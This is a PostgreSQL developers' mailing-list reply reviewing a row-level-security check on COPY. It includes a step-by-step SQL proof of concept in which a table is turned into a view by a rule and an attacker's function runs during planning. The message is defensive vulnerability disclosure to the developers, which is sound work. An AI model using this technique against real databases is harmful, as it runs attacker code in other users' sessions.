On Tue, Dec 02, 2014 at 11:32:27AM -0500, Stephen Frost wrote:
> * Robert Haas ([email protected]) wrote:
> > On Thu, Nov 27, 2014 at 2:03 AM, Stephen Frost <[email protected]> wrote:
> > > Alright, I've done the change to use the RangeVar from CopyStmt, but
> > > also added a check wherein we verify that the relation's OID returned
> > > from the planned query is the same as the relation's OID that we did the
> > > RLS check on- if they're different, we throw an error. Please let me
> > > know if there are any remaining concerns.
Here is the check in question (added in commit 143b39c):
plan = planner(query, 0, NULL);
/*
* If we were passed in a relid, make sure we got the same one
back
* after planning out the query. It's possible that it changed
* between when we checked the policies on the table and
decided to
* use a query and now.
*/
if (queryRelId != InvalidOid)
{
Oid relid =
linitial_oid(plan->relationOids);
/*
* There should only be one relationOid in this case,
since we
* will only get here when we have changed the command
for the
* user from a "COPY relation TO" to "COPY (SELECT *
FROM
* relation) TO", to allow row level security policies
to be
* applied.
*/
Assert(list_length(plan->relationOids) == 1);
if (relid != queryRelId)
ereport(ERROR,
(errcode(ERRCODE_OBJECT_NOT_IN_PREREQUISITE_STATE),
errmsg("relation referenced by COPY statement
has changed")));
}
> > That's clearly an improvement, but I'm not sure it's water-tight.
> > What if the name that originally referenced a table ended up
> > referencing a view? Then you could get
> > list_length(plan->relationOids) != 1.
>
> I'll test it out and see what happens. Certainly a good question and
> if there's an issue there then I'll get it addressed.
Yes, it can be made to reference a view and trip the assertion.
> > (And, in that case, I also wonder if you could get
> > eval_const_expressions() to do evil things on your behalf while
> > planning.)
>
> If it can be made to reference a view then there's an issue as the view
> might include a function call itself which is provided by the attacker..
Indeed. As the parenthetical remark supposed, the check happens too late to
prevent a security breach. planner() has run eval_const_expressions(),
executing code of the view owner's choosing.
> Clearly, if we found a relation originally then we need that same
> relation with the same OID after the conversion to a query.
That is necessary but not sufficient. CREATE RULE can convert a table to a
view without changing the OID, thereby fooling the check. Test procedure:
-- as superuser (or createrole)
create user blackhat;
create user alice;
-- as blackhat
begin;
create table exploit_rls_copy (c int);
alter table exploit_rls_copy enable row level security;
grant select on exploit_rls_copy to public;
commit;
-- as alice
-- first, set breakpoint on BeginCopy
copy exploit_rls_copy to stdout;
-- as blackhat
begin;
create or replace function leak() returns int immutable as $$begin
raise notice 'in leak()'; return 7; end$$ language plpgsql;
create rule "_RETURN" as on select to exploit_rls_copy do instead
select leak() as c from (values (0)) dummy;
commit;
-- Release breakpoint. leak() function call happens. After that, assertion
-- fires if enabled. ERROR does not fire in any case.
--
Sent via pgsql-hackers mailing list ([email protected])
To make changes to your subscription:
http://www.postgresql.org/mailpref/pgsql-hackers
